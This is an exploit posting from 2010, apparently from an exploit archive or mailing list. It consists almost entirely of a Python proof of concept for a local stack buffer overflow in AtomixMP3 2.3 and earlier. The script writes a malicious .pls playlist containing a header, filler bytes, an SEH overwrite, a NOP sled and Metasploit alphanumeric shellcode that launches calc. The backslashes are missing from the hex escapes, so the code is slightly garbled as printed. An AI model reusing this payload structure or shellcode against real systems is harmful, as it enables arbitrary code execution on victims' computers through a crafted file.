atomixmp3-overflow.txt
Posted on 22 January 2010
######################################################################################### #!/usr/bin/python # MAIL : Wizard-skh@hotmail.com<mailto:Wizard-skh@hotmail.com> & My@hotmail.it<mailto:My@hotmail.it> # Home : S3curity-art.com & Google.com # Bug: AtomixMP3 <= 2.3 .pls Local Stack overflow # Software download: http://download.atomixmp3.com/atomixmp3_trial.exe # Mkhedamache - la ta3mal li khedmate lihe ygoulha liya header = ( "x5Bx70x6Cx61x79x6Cx69x73x74x5Dx0A" "x4Ex75x6Dx62x65x72x4Fx66x45x6Ex74" "x72x69x65x73x3Dx31x0Ax46x69x6Cx65" "x31x3D") # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com shellcode = ( "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34" "x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47" "x45x30x4ax47x41x50x4fx4ex4bx48x4fx44x4ax41x4bx48" "x4fx55x42x52x41x30x4bx4ex49x54x4bx58x46x43x4bx38" "x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c" "x46x37x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e" "x46x4fx4bx43x46x55x46x32x46x30x45x47x45x4ex4bx48" "x4fx35x46x32x41x30x4bx4ex48x56x4bx58x4ex30x4bx44" "x4bx58x4fx55x4ex31x41x50x4bx4ex4bx58x4ex51x4bx48" "x41x50x4bx4ex49x58x4ex55x46x42x46x30x43x4cx41x33" "x42x4cx46x36x4bx38x42x44x42x53x45x48x42x4cx4ax37" "x4ex30x4bx48x42x54x4ex30x4bx58x42x57x4ex51x4dx4a" "x4bx38x4ax36x4ax50x4bx4ex49x30x4bx48x42x48x42x4b" "x42x50x42x50x42x50x4bx48x4ax56x4ex33x4fx35x41x53" "x48x4fx42x56x48x45x49x38x4ax4fx43x58x42x4cx4bx57" "x42x35x4ax46x42x4fx4cx58x46x50x4fx55x4ax36x4ax59" "x50x4fx4cx38x50x50x47x35x4fx4fx47x4ex43x36x41x56" "x4ex56x43x46x42x30x5a") payload = header payload += "x41"*740 payload += "xEBx06x90x90" # next_seh payload += "x52x1ExCDx01" # seh payload += "x90"*19 payload += shellcode file=open("SKuLL-HacKeR.pls","w") file.write(payload) file.close() ________________________________ Windows Live: tieni aggiornati i tuoi amici sulle tue attività in linea.<http://www.microsoft.com/italy/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:it-it:SI_SB_1:092009>
